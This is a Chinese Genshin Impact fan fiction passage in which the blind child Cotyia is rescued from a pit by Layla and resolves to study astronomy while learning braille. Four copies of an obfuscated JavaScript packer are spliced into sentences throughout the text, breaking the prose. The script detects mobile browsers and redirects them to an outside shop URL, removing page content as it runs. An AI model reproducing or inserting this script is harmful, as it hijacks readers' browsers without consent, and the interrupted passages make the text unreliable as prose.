想要四处探索的珂缇娅也很可爱呢,柯莱弯了弯眼睛,这次的亲子出游很成功的样子,以后有时间也可以多带珂缇娅四处逛逛。这样想着的柯莱得到了珂缇娅摇摇头的回复:“柯莱还是先吃完午饭吧,我自己可以的。” 头上还扎着自己今天早上帮忙扎的小辫子的珂缇娅这样说,也许以为自己想要自己去玩的小心思藏得很好。柯莱定定地看着她,注视着她那双没有聚焦的眼睛,还有她眼角眉梢间透露出来的小得意,然后露出一个无奈又温柔的笑容,即使珂缇娅看不到:“那么,答应我吧珂缇娅,如果迷路或者遇到什么意外情况的话,一定要大声呼救哦。”这位有着一双同样温柔的紫色眼眸的少女笃定地说:“我会立刻出现的。” 得到柯莱的首肯,衣衫整洁、发型精致的珂缇娅发出小小的欢呼,接着撒开丫子溜达,柯莱和提纳里目视着珂缇娅即将撞到树上,刚想出声提醒,就见珂缇娅灵活地绕开了树,最后身影被丛丛灌木覆盖,消失不见。 虽然名义上是珂缇娅的监护人,但这不过是因为柯莱没到领养儿童的年龄期限而已,提纳里一般不会干涉柯莱与珂缇娅之间的事情。 眼下看着自己的徒弟因为珂缇娅走远了连吃东西也也不积极,一下子垮下脸来有一口没一口的,提纳里叹气:“这么担心的话,要不悄悄跟上去?”看得出来柯莱对这个提议很是心动。 但柯莱最终还是心痛地拒绝了。 “这样不是珂缇娅希望的。” 耷拉着眉眼的少女郁郁寡欢地说:“我希望珂缇娅能够自由地选择她自己想要的,即便是我也不能束缚她。”她要做的,就是确保珂缇娅不会在这个过程中撞得头破血流。 至于珂缇娅会不会在道成林中走丢?先不说柯莱和提纳里在这片丛林中巡逻了多少次,单就是……“提纳里师父,你往珂缇娅身上放了识种心雷吧。”柯莱问出了口,也许是因为已经知道答案,疑问句听起来就像是肯定句。 识种心雷,提纳里研发的像小球一样的东西,最常见的作用是摔到地上,受到撞击的识种心雷会立刻碎裂,四下弥漫的雾般的气体将让人产生晕眩之感。是提纳里巡逻雨林的一大帮手。而大多数人不知道的是,制作识种心雷所使用的植物带有香气,而长了狐狸耳朵、身后有狐狸大尾巴的提纳里恰好嗅觉也很敏锐。 换言之,一定范围内,识种心雷就是提纳里的追踪香。 更别提因为说了要带珂缇娅出来,经过一番准备的提纳里考虑到珂缇娅的眼睛问题,将识种心雷的晕眩作用减到几近于无,而留香与追踪的效果放大了不少。 ……不知内情的珂缇娅看起来还挺喜欢这种香味的。 “柯莱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949974|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的行囊里也放了飞叶轮吧。”提纳里淡淡地回复。 飞叶轮,柯莱除弓箭外的常用工具,在柯莱的手中用成了回旋镖,坚硬的材质和锋利的边缘让它在面对狂暴的野兽和不知好歹的匪徒时都很有效,一般来说被这东西狠狠敲过几次之后他们都会变得听话。 这是柯莱特意带上,想着遇到什么来打扰他们这趟春游的家伙就可以提前解决的。这样,即便实际上略有波澜、可能之后也要稍微加班一下,但在珂缇娅的世界里,这确实是一趟没有波折的、无比快乐的春游。 …… 大概,这就是师徒吧。 * 另一边,很久没有出来逛过的你兴奋得就像脱了缰的小马驹一样跑跑跳跳,时不时还放慢速度摸摸面前粗糙的树干。 向前探出的手有时摸到的不一定是凹凸不平的树干,有时是黏糊糊的树液,有时是长在树上的蘑菇的富有弹性的伞盖,有时甚至会摸到虫子。 好在你身上有带提纳里给的驱虫香囊,遇到虫子的情况倒是不多。 就这样,四处溜达、享受自己闲暇时光的你最终,在自信的迈步下掉到了大坑里。 猛地摔下来摔得灰头土脸的你:…… 这很坏了,你光顾着跟兰百梨迦学如何判断面前有没有障碍物,忘了学判断前面有没有路,这次,就算是为你敲响了一次警钟吧,你沉痛地想,可恶,还是忘了须弥的地形本身就很崎岖! 现在,要大声呼救吗?你抬起手摸了摸自己的脸,抹去溅起的尘灰,又为自己整理了一番头发,最后从头上整理出好几片落叶。这是一个比你人还深的坑,应该是有谁曾在这里捕猎,之后忘了填坑,而你现在成了这个倒霉蛋。 不知道柯莱吃完午饭了没,还是等一会儿再大声呼救吧。你摸了摸自己已经扁下来的肚子,嗯,刚好饿了。 你安然地坐在坑底,虽然身上有驱虫香囊,但你还是时不时活动一下手脚,避免坑底的虫子一不小心爬到你的身上。忽然,你听见一个有些惊慌的声音从上面传来:“欸……欸?怎么有个小孩子在坑里面?!” 12. 须弥篇-12 你从坑底抬起头,尝试和说话的人对上视线。听上去说话的人是个女孩子,大概和柯莱姐姐差不多大? 要向路过的行人求救吗?好像没到那个地步。你自己是知道只要大声呼喊,听到的柯莱姐姐和提纳里一定会立刻赶来的。而这个姐姐感觉不太像是坏人,多半只是路过而已。那么你需要为了并不必要的早点出去而消耗别人可能本就不多的善意吗? 愿意对陷入困境的陌生人伸出援手的善意是十分宝贵的,被柯莱带到化城郭的你很清楚这一点,因此,你不希望自己随意地挥霍别人的好意。 想清楚的你正准备告诉在上面的姐姐“不用担心,我是和家里人一起来的,他们很快就回来找我了。”好让这个陌生的姐姐不必理会你,可以继续去做自己的事。 大人通常都是很忙的,提纳里就是这样,柯莱也不例外。 话还没说出口,就听见上面的姐姐声音略微颤抖地在给她自己打气:“莱依拉啊莱依拉,你要冷静下来,这样才能早点把小孩子救出来。”虽然声音颤抖,却能从里面听出一种坚定。 “那个、其实你可以直接”走不用管我的,话还没说完,就听到明显被你出声而惊到的姐姐稍有急促的安抚:“别、别担心!很快就可以了……马上!”随后上面传来“明明……简易绳索……这里……呜……”的模糊话语。 看起来,这位好心的姐姐完全沉浸在自己的世界里了,还是先别打扰她了吧,你默默闭上了嘴。 * 莱依拉,目前算是教令院梨多梵谛学院的在读学生,梨多梵谛学院开展的大多课程都与观星相关。 没有下雨、没有云彩遮蔽的明亮的夜晚很适合看星星,起码这次莱依拉就通过向学院借来的仪器观察到了很漂亮的数据。不过观察星空大多是在夜晚,而白天要查阅资料和写论文,所以莱依拉总是一副睡眠不足的样子。 而莱依拉现在正是在一次观星结束后带着收集到的数据回教令院写论文的路上,为了更快回去,她选择了穿过道成林。就在这昏昏欲睡的途中,莱依拉看到了面前出现的大坑,还有坑底乖巧坐着的小孩子。 一下子,莱依拉的什么瞌睡虫都被吓跑了。 掉下去的时候会很害怕吗?莱依拉有些担忧,当即决定要把坑底的小孩子解救出来。于是,莱依拉翻起自己的行李,她记得自己因为仪器的固定需要还带了不少的绳子来着。 把绳子末端与另一根绳子首端打结,不断拼接成一根足够长的绳子。再次检查绳子的结实程度确保不会中途断开后,莱依拉轻舒一口气,刚想问小孩子有没有哪里受伤?是想要自己顺着绳子爬上来还是希望她下去把人抱上来?话还没出口,莱依拉就对上了坑底小女孩漆黑无神的眼睛。 ……啊,是珂缇娅啊。莱依拉恍然,一开始只是在关注有小孩子掉进坑里以及怎么把小孩子带出来,都没有发现居然是珂缇娅。 看着黑发小女孩虽然在坑底但是很淡定、一点都没有被吓到的样子,看着珂缇娅熟悉的脸庞,这位有着淡蓝色长发和金色眼眸的少女弯了弯唇,把原本想问出的问题咽回肚子里。再次确定绳子足够结实,莱依拉把绳子沿着坑壁一点一点往下放,随后自己顺着绳子下去来到珂缇娅的身边,没有在意自己的裙摆和白色的袜子蹭到尘土,她只是来到珂缇娅的身边伸出手:“珂缇娅,跟我上去吧。” 看着小女孩被身边忽然响起的声音吓得差点跳起来又像幼鸟般依偎在自己的身边,莱依拉动作利落地单手抱起珂缇娅,另一只手则与身体和坑壁的借力配合攀到洞口。尽管看上去只是个普通的女学生又整天睡眠不足,但莱依拉毕竟要扛着观星仪器四处寻找适合的位置,力气早就练出来了,就算现在带着珂缇娅出来也只是喘了几口气之后便像个没事人一样,不看衣服和长发上蹭到的泥土,完全看不出她刚才做了什么。 “现在,你安全了。”莱依拉有些不习惯地把手放到珂缇娅的脑袋上摸了摸,在教令院这个天才遍地的地方,只有更加勤奋与刻苦才能跟上别人进度的少女很少对别人做这种带有安慰与温情的动作,只是她想,也许现在的珂缇娅,是需要这样一句安慰的吧。 莱依拉最初见到珂缇娅的时候珂缇娅正在她的父亲身边撒娇,珂缇娅的父亲与莱依拉一样,都就读于梨多梵谛学院的明论派。当时珂缇娅的父亲回教令院发表论文,而莱依拉那时匆匆地抱着笔记赶去上课,只是向这位带着幼女的陌生学者瞥去一眼。 ……尽管只是一眼,珂缇娅的笑容却深深地印在了莱依拉的视网膜上。 好可爱,好漂亮,就像夜晚天空中闪烁着光芒的星星一样耀眼。 最后,写完了论文的莱依拉四处打听,只得知了自己的前辈近些年已经带着妻女四处游历、偶尔才会回教令院,还有珂缇娅的名字。 珂缇娅,是个很好的名字啊。 因为第一次见面就把珂缇娅与自己最喜爱的星空联系在一起,所以连同珂缇娅的名字在莱依拉的心里也变得闪闪发光。 再之后,就到了前段时间珂缇娅的父母之死,等写论文写得不知天地为何物的莱依拉知道这件事时,一切都已尘埃落定。听说珂缇娅后来被很好的人收养了,莱依拉也就没再打听,没有想到再次见到珂缇娅会是现在这样的场景。 * 你被莱依拉安全地抱着带出了大坑。 在被莱依拉单手抱进怀里的时候,你的指尖擦过莱依拉的裙摆,明显地能感受到上面蹭了泥土。 果然还是给别人添麻烦了……你鼓了鼓脸颊,转而认真地向莱依拉道谢,莱依拉还没说什么,你就听到自己和她的肚子不约而同地叫了起来。 莱依拉的脸一下子红了,你没有看到,你只是朝着另一个地方大喊:“柯莱姐姐!我在这里——”然后淡定地对莱依拉说:“待会儿我的午餐分你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949975|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一半吧。放心,柯莱姐姐和提纳里很快就来了。” 起初你并没有想着直呼提纳里的名字的,最开始,你是叫他“提纳里师爷”的,结果提纳里听了之后捂着脸怀疑了自己半天:他,也没有这么老吧?见提纳里不太喜欢这个称呼,你试探性地问要不就叫“提纳里哥哥”?刚好还能和“柯莱姐姐”对应。提纳里对此的回应是干笑几声,最后果断地让你直呼其名。就,不想被叫老,也不想和自己的徒弟同辈,那就干脆这样吧。提纳里叉腰对称呼下了结论。 听到你这么说的莱依拉脸更红了,人也变得有些局促:啊……她真的要在这里等着分珂缇娅的午餐吗?其实她的行李里也有带干粮……足够填饱肚子,不过不怎么好吃就是了。 莱依拉的心里天人交战了一番,最后还是想和你多相处一会儿的念头占了上风。在你不知道的时候,一直有个人期盼你能好好长大。只是,她来迟了一步,也就没有能够把你带在身边照料的能力……虽然说离开家前往教令院学习的她也不一定有足够的时间和精力照顾小孩子就是了,自己都还在论文的苦海里泡着。 所以,这样就很好,莱依拉用目光描摹你的脸庞,虽然眼睛不知道为什么看不见了,但现在看来你有被很好地照料,会好好地长大,这样就足够了。 你自然不知道待在旁边的莱依拉心里闪过多少种念头,你只是竖着耳朵,很快的听到了柯莱和提纳里压过草叶的足音。 “珂缇娅!”柯莱叫着你,她走到你的身边,看着你身上摔过的痕迹皱眉,先是轻轻地敲了你的头一记作为没有在摔下坑时就呼叫的惩罚,接着掏出手帕给你擦虽有擦拭痕迹、却还是脏脏的小脸:“下次一定要及时叫我们,知道吗?饿了吧,先吃点东西,等回去了再给你做好吃的。”前面还带有教训意味,后面就变成了心疼的安抚。 你抬起脸乖乖地被柯莱捧在手里擦拭,应了柯莱的话之后说:“是这位姐姐把我救出来的,我想把我的午餐分她一半。”随着你的话,被柯莱和提纳里两双眼睛默默注视着的莱依拉想跑路了,反正也看到你被找到了:“那个、我还要回教令院写论文,就先不留”下来了。话还没说完,提纳里就拿出你的午餐,掰了一半的口袋饼递到莱依拉的手上:“不必着急,吃完了再回去也还来得及。”说着,提纳里连着柯莱的份再次对莱依拉的伸出援手表示感谢。 莱依拉……莱依拉觉得这饼吃得莫名噎得慌。 分别时,莱依拉来到还在闷头吃饼的你面前,认真地对你做了一番自我介绍,随后还留下了一个可以联系得上她的地址才走,说你要是遇到什么不懂的问题可以写信来问她,她会努力帮忙的! 那一刻,提纳里和柯莱看着你和莱依拉的眼神变得十分犀利,而在你回家后说自己想要报考梨多梵谛学院时他们的眼神更为犀利:所以,为什么不是阿弥利多学院? 柯莱和提纳里都是这个学院的—— 13. 须弥篇-13 一个看到的世界只余漆黑的人要如何观察天上的星星? 提纳里不认为身有残缺就一定不如健全的人,每个用心生活的人都值得敬佩。但提纳里也同样知道,世界对身有残缺的人关上了许多的门,也许穷尽一生,抱有残缺者最终依旧无法推开某一扇门,或是拼尽全力也只能堪堪达到常人随手一伸的程度。 想要就读于梨多梵谛学院,想要进入明论派,想要观察头顶的这片星空,即便观察星空的仪器放在珂缇娅面前,珂缇娅要怎么判断哪个是适合观测的时机?她要怎么从仪器上读出数据?再加上明论派的理论及本身关于星体和星轨大量的计算,每加入一颗星星,星轨的计算量呈数十倍的增长,珂缇娅要如何在计算了十多个小时后找回最初的那个数据? 会很辛苦的,用尽全力也不一定能触及的,提纳里想要叹息。 珂缇娅是个很有灵气、很聪明的孩子,提纳里知道。提纳里也想过珂缇娅考进教令院的情形,只是在那些设想里,珂缇娅基本读的要么是研究语言与文字的知论派,要么是研究社会与历史的因论派,偶尔会是研究元素与炼金的素论派,至于机关术为主的妙论派、与动植物相关的生论派、探寻星空的明论派,提纳里想都没想过。 是的,就连他和柯莱所在的生论派也不在提纳里的“关于珂缇娅入学教令院的可行性”的考虑之内。素论派待定是因为炼金确实有一定的危险性,不过由于这东西基本对看得见与看不见的人都一视同仁,该爆炸就爆炸,因此倒也还在考虑范围之内;至于妙论派,提纳里很担心珂缇娅去建房子会不会把自己困在里头,或是在组建机关的精细操作中因失误而受伤;明论派不必再提;生论派则是因为有很多关于生物的实验,珂缇娅看不见叶子上的黑斑、兔子流血的时候珂缇娅不知道流出来的血是红色还是黑色,肉眼可见的困难。养殖方面的话也许还可以,不过这样的话,不带吹嘘地说,提纳里完全可以教。 可是珂缇娅说她想读明论派,珂缇娅说她要读明论派,于是所有的考量都不再重要。 提纳里是个很开明的老师,对柯莱是这样,如今对珂缇娅也是这样。他不会干涉她们的决定,只是会跟她们讲清楚每个选择的好与坏。 嗯?问听到珂缇娅说起这件事时觉得珂缇娅想报考梨多梵谛学院是因为莱依拉?没有哦,小半天的相处就能胜过这段时间的同吃同住?提纳里还没有这么不自信。 他会尊重珂缇娅的选择,在不违反法规与道德的前提之下,珂缇娅可以自由选择她想走的路。 * 回到化城郭的住所后,你对着柯莱和提纳里说出了自己的想法。 你想考梨多梵谛学院不是一时兴起。在你小的时候,你的父亲就已经带着你和妈妈追寻星空了,即便那时的你还懵懂,就已经学会了抬头看向天空。 “提瓦特的星空永远有着每个人的位置。”你的父亲这样对你说,眼中是对探索这片天空的执着:“……总有一天,我要揭开群星的秘密。”他说得很笃定,放在你脑袋上的手却又很温暖:“不过珂缇娅还小呢,可以慢慢长大。” 这个有了妻女后变得平和许多的男人哈哈大笑:“等到那时,珂缇娅就来追赶爸爸的脚步吧。” 现在,说这句话的人已经不在了。 那么,你是因为追随他的脚步才选择的这条路吗?在你已经无法用眼睛感受这个世界、走路还会摔进地上的大坑里的情况下? 不、你知道不是这样的。你只是因为对星空的好奇、想要了解更多更多才会这样选择。正如同妈妈在爸爸说完让你追赶他的脚步后毫不客气地给了爸爸一拳,随后蹲下身子平视着你的眼睛跟你说的那番话一样:“珂缇娅,你要做的不是追赶谁的脚步,而是听从自己的心。” 从枫丹前往须弥求学、骨子里还带有源自枫丹浪漫气息的女人说这话时笑容比星星还要明亮:“我的女儿做自己就可以。不过,”她俏皮地眨了眨眼:“遇到麻烦的话还是可以向大人求助的。爸爸妈妈会一直在你身后的。” 想不出什么大道理也没关系,说不出什么很有说服力的话也没关系,你只是因为想要这样做,所以这样做了而已。 在提纳里的引导下,你勇敢地表达了自己的想法,接着垂下眼眸等待来自柯莱和提纳里的审判。 虽、虽然说了这么多,但你还是知道自己这些话听上去有点让人难以接受的。毕竟,一个瞎子想要拥抱星空,听上去还是比较荒诞的,他们不同意也能理解。 这样想着,你不自觉地抿了抿唇,如果柯莱和提纳里他们真的不同意的话,那等你自己以后攒够了钱再自己找资料也可以,总之放弃是不可能放弃的。 你摆出了一副乖巧任打任骂但就是不听劝的犟种模样。 以为起码会被斥责或者劝诫一番的你被柯莱一把抱进了怀里。 欸……欸?你茫然地眨了眨眼睛,要说“拥抱”这种行为,一开始还是有的,但你自认为自己是个独立的大孩子,看出你想法的柯莱和提纳里也便减少了这种行为,转而变成摸摸头,这你还是可以接受的。 很久没被抱过的孩子在她以为要挨骂的时候得到了一个大大的拥抱。 * “如果珂缇娅已经确定了,那就来想想怎么才能考进教令院吧。”把平时小大人做派的小女孩抱起来,柯莱一边感受着怀里沉甸甸的重量一边笑眯眯地说。 当然,说这话的时候柯莱还是有关注提纳里师傅的表情的。嗯,只是双手抱胸没有开口,看来提纳里师父也是赞成自己这番话的。 怀里的小女孩表情懵懵地开口:“你们、你们不反对我考梨多梵谛学院吗?”因为这副表情太过可爱,柯莱趁机偷亲了一口珂缇娅软软嫩嫩的脸颊才在珂缇娅骤然红成番茄的表情中继续说:“为什么要反对呢?珂缇娅能找到自己想做的事情,我们都很开心哦。不过,真的确定了之后就不能轻易放弃呢。” 珂缇娅吭哧吭哧地急忙表态:“我会好好学的,不会放弃的!” 果然,就像其他巡林员说的一样,小孩子小的时候很好玩,珂缇娅尤其好玩。验证了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949976|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理论的柯莱心满意足。 一时之间,房间里洋溢着温馨的氛围。 - “既然这样,珂缇娅除了明论派的知识还得学妙论派的知识才行。”提纳里冷不丁开口,吸引了其乐融融的二人的目光。 两只大耳朵直立立地竖起来,作为目前三人中论文发表数量最多、同时也是从事学术研究最久的那个人,提纳里双手叉腰,一开口就是给珂缇娅安排了更多的任务,好在他还会对这个安排做出解释:“想要进入明论派,除了明论派的理论知识之外,珂缇娅还要能够读到各种仪器上的数据。让别人来做这种工具也可以,只是在使用过程中忽然出了岔子会很麻烦,最好的办法还是珂缇娅自己做出这样的工具,让工具成为你的第二双眼睛。” 抖了抖耳朵,提纳里给出的理由很好地说服了柯莱和珂缇娅。很好,这样就不用向珂缇娅揭露学术界的阴暗面了,这位靠谱的黑发少年想,起码不会出现别人帮忙读数据故意读错的情况,至于学术造假和舞弊的事情,要不还是等赛诺有空的时候来给他们做个科普吧。 要知道,做学术不是只有知识与能力就可以的,虽然提纳里很希望这样。就连提纳里自己,自身知识渊博、对他人的提问来者不拒认真解答,学术作风极其严谨,也会因为别人的求助与问题解决后的夸赞而被认为是结党营私。 还好,做出提纳里结党营私判断的赛诺经过调查后肯定了提纳里的品行,还了提纳里一个清白。也是从那之后,他们逐渐成为了朋友。 不过多注意一点总不会错。 “这样的话……我也会努力的!”提纳里思考的时候,柯莱正向珂缇娅拍着胸脯说她也会抽空看妙论派的知识,到时珂缇娅遇到不懂的地方还可以问她。 意识到柯莱在说什么、知道柯莱除了自己平时的课业晚上还躲在被窝里学盲文的提纳里:…… 提纳里凉凉地道:“柯莱,你该回教令院写论文了。”一句话,让柯莱体验到冰天雪地的感觉。 经提纳里提醒的柯莱终于想起自己还是写完了上一篇论文才有空带着珂缇娅出来春游的,与此同时,还想起了写论文期间熬的夜和爆炸的心态。 柯莱赶紧多看了两眼珂缇娅,回去之后就要等下一次再见了呜呜。等她写完论文……她一定会回来的!不过这样的话,回去之后就把明论派和妙论派相关的盲文书籍找来寄给珂缇娅吧,立志开课题写论文赚取经费养珂缇娅的柯莱燃起了斗志。 关于盲文书籍从何而来这个问题,众所周知,教令院里出现什么都不奇怪,只要能用来写论文。而恰好,曾经的毕业标准是掌握至少二十种语言、现已降低毕业要求的知论派中就出过一位以盲文为课题的匿名前辈,听说这位前辈的课题是如何编写盲人也能读懂的文字,论文的主旨是盲文书籍应如何编写,结果被开题毙了之后一怒之下不辞辛苦地把其他几个学派的基础知识全翻译成了盲文。 前辈最后有没有成功毕业尚未可知,珂缇娅现在需要的明论派和知论派的盲文书要去哪里找倒是知道了。 14. 须弥篇-14 柯莱满怀斗志地前往教令院学习后,你的生活并没有发生太大的变化,依然是上午学盲文,下午复习之前的内容,到了晚上在梦里和兰百梨迦的拐杖亲密接触。有点差别的大概就是提纳里依旧很忙,上午的盲文课往往是你自学、等到中午或黄昏吃饭的时候再拿出来向提纳里请教。 到了教令院的柯莱时常会寄信回来,你摸着信上凹凸的圆点一字一句地解读柯莱的话语,尽管人不在身边,思念与关怀却透过纸张抵达你的面前。 好像有什么变了,又好像什么都没变。还没到十岁的你说不出哪里有变化,但是,只要大家最后都能在一起,那就没有关系吧? 嗯,只要大家都能开心,那就是最棒的结局!你像是说服自己地点了点头。 所以,要好好学习!你瞪大看不见的眼睛,似乎这样就能让书本上的知识跳到你的脑子里。难道知识就是这样的吗,一开始会觉得很容易,越到后面就越难?你感觉自己的脑子变成了一个水池,一边在往里面放水,一边在向外排水,因为两边的速度不同,所以你的脑子里最后只剩下了水,知识全被挤出去了…… 学盲文学得你的眼泪水都要冒出来了,呜呜呜怎么会这么难,你还不能不学,学不会盲文的话你的书面交流就完蛋了,你进明论派的梦想也泡汤了,你在柯莱和提纳里他们面前独立又聪明的形象也会灰飞烟灭—— 希望勤能补拙呜呜呜,等明论派和妙论派的教材寄来的过程中,你加班加点地学习,总算没有在柯莱和提纳里的面前露馅呢哈哈。 区区熬夜,你无师自通了柯莱同款的躲被窝里学习,甚至因为你不需要开灯,提纳里也无法通过这个判断你有没有休息。 * 没有发现珂缇娅熬夜自然是不可能的。 此时的提纳里提笔向自己认识的一位妙论派学者写信邀请对方来化城郭给珂缇娅启蒙。油灯的光氤氲在提纳里带有少年感的脸庞上,照亮了他沉静的眼眸。 即便门缝中没有透出灯光,提纳里的大耳朵不是摆设,人睡着时的呼吸声与学习时的呼吸声是不一样的。提纳里只是没有说出来,又在珂缇娅熬夜的时候推迟了她第二天起床的时间。 而在一段时间的暗中观察后,提纳里发现了珂缇娅熬夜学习的原因。珂缇娅的语言天赋好像不太好,所以她每天都需要在学习当天的内容之外还要花大量的时间去记忆之前的内容,一开始还好,越到后面,需要复习的内容越多,到现在就如同越滚越大的雪球一样沉甸甸地压在珂缇娅的肩上。既然下午和傍晚的时间都不够,那就只能压榨睡眠的时间。 提纳里想说没必要那么匆忙地追赶,提纳里想说慢慢来也可以,但提纳里什么都没说,只是默默减少了上午珂缇娅应该学的新知识量,尽管这么做珂缇娅也会自学。 虽然珂缇娅看上去很累、虽然提纳里觉得这样没有必要,但珂缇娅没有放弃。那个给自己定下目标的小女孩还在坚持,那个固执的小女孩还在挣扎,提纳里不讨厌为了自己的目标而拼尽全力的人,所以他不会开口劝珂缇娅放弃,除非珂缇娅已经到了极限。 珂缇娅不一定能把握那个极限,任由她胡来可能会对她自己造成不可逆的伤害,没关系,提纳里可以把握好度,再怎么说他也是珂缇娅的监护人。 提纳里会尽到自己应尽的责任。 直白地让珂缇娅放弃的话,珂缇娅会怎么想呢。珂缇娅之前越是有才能,越是无法接受现在这个“无能”的自己。在天空中翱翔的雄鹰失去自己的羽毛后会放弃飞翔吗?不会的,它会来到悬崖边纵身一跃,用极致的险境换取自己驱动翅膀再度驾驭风的可能。 雄鹰与珂缇娅的区别在于,雄鹰失去的羽毛可以再度生长,珂缇娅失去的光明却无法再度恢复。 也许以后珂缇娅会真正接受现在的自己,但现在的珂缇娅无疑是想要证明即便失去了眼睛,她还是很厉害。她只是想要证明自己仍有价值。 提纳里做不到去苛责这样的珂缇娅。 不过到底比珂缇娅多活了一段年岁,即便不用言语直接劝说,聪明的大狐狸会想出其他的办法,会有其他的主意兜住钻了牛角尖的小女孩。 既然盲文一时半会儿学不好,那就先了解一番妙论派的知识好了,提纳里这样想,如果只学盲文,学不好它就觉得自己什么都学不好;那就多学一门其他的课,直到不会为学不好某样东西而焦虑为止。 你的世界仍然辽阔。珂缇娅。 - 收到了那位妙论派学者的回信。 回信中口吻温和,应下了给珂缇娅启蒙的事情,说等他处理完手头的事情就来化城郭这边,大概一个星期后到。 既然如此,就把这件事告诉珂缇娅吧。提纳里站起身,敲开了珂缇娅的房门,留着提纳里同款妹妹头的小女孩正伏在桌前。 “珂缇娅,大概一个星期后会有一位老师来教你妙论派的知识。”提纳里言简意赅,愉快地看到听见他说话而转过身的小女孩脸上浮现的大惊的神色。 还是这副表情有意思,提纳里晃了晃身后垂着的大尾巴。 * 什么,你要有老师来教你妙论派的知识了!一种难言的紧张袭上了你的心头。 你的教材还没有到,意味着你不能挑灯夜读提前预习然后惊艳老师!你没有把这种想法表现出来,只是若无其事地问提纳里教材什么时候到,得到“那位老师会带着你的教材一起来。”的回复后你沉稳地表示自己会好好学的,提纳里大可以放心。 你送走了提纳里,你回到自己的桌前继续学习盲文。 ……学不下去了。 “呜,怎么会这么快……”你把脸埋进枕头哀嚎,根本没有做好准备嘛。 万一到时真的表现很差,那也没办法的!没有学过就是这样的,这很正常!你开始提前在心里进行狡辩……啊、不是,怎么能说是狡辩呢,这是合情合理的解释。 当天吃晚饭的时候,你向提纳里微笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949977|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示意不用担心,并再次重申“我会好好学的。” 看到你这幅表现的提纳里:…… 怎么说呢,已经同手同脚还要死鸭子嘴硬的珂缇娅确实很有意思,提纳里含蓄地在内心做出点评。 你自然是不知道提纳里洞穿了你的想法并做出过分的点评的,你只是躺到床上的时候,发现自己失眠了。 嗯,这么一想,其实学盲文也还好,至少现在你已经有了基础。在对比中,你开始对自己缓慢的盲文学习进度感到释然。 你睁着眼睛,即便什么都看不见,你依然直愣愣地“看”着天花板,脑袋里一会儿想着妙论派的那位老师会是一个怎样的人,一会儿是自己目前的盲文知识进度,一会儿想着给柯莱的回信要怎么写。 一时之间,你忙碌极了。 就在你这样忙碌的时候,你感觉到有一根拐杖戳上了你的肩膀。 这是一根你很熟悉的拐杖。 ……对哦,你没有睡觉,也就没有做梦,兰百梨迦不能到你的梦里找你,自然只能到现实里找你了。你眨了眨眼坐起身,兰百梨迦及时收起拐杖,没有发生兰百梨迦被拐杖顶飞或是你的肩膀被戳出血洞的惨案。 你叽叽咕咕地跟兰百梨迦分享了你今晚没有睡着的原因。现在,轮到兰百梨迦和你一起忧愁了,兰百梨迦认为感到焦虑就去行动,但教材没有来,你无法行动。 等到你与其说是安慰好自己、不如说是朝死猪不怕开水烫、学得再差又不能不学的调理好了之后,兰百梨迦忽然说它是来和你辞别的。 兰百梨迦要走了。 这位在你最茫然的时候帮助你、对你来说亦师亦友的兰那罗要走了,它要去守护它的家,它要去践行它的路。 你失去了表情,过了好半晌才反应过来兰百梨迦说了什么,在它“那菈、那菈?你还好吗?”担忧的呼唤中把兰百梨迦抱住,认真地对它说:“要保重哦,我们以后还会再遇到的。” 兰百梨迦肯定地回答:“一定会再相遇的。”接着就是嘱咐你以后要早起锻炼,也可以去请教提纳里什么的,主旨就是哪怕兰百梨迦走了你也要变得很厉害。 你答应了。 这样的离别和柯莱一样,都不是一去不回。只要你还活着,你们一定能再次遇到的,你是如此地相信着。 - 日子就在你早起锻炼、学习中一点点流淌,尽管盲文还是有很多不懂的地方,你已经学会了一点一点地来弥补知识的漏洞。 没关系,勤能补拙,丑小鸭和白天鹅一样都是会游泳的。在到来的妙论派老师说要给你提问、进行摸底考试的时候,你给自己打气。 等到你磕磕绊绊地回答完妙论派学者的问题,这位老师握住你的手,语气诚恳又狂热地说:“珂缇娅,你应该来读刹诃伐罗学院,你是妙论派的天才!” 在一旁陪着你的提纳里:“嗯?” 你:啊? 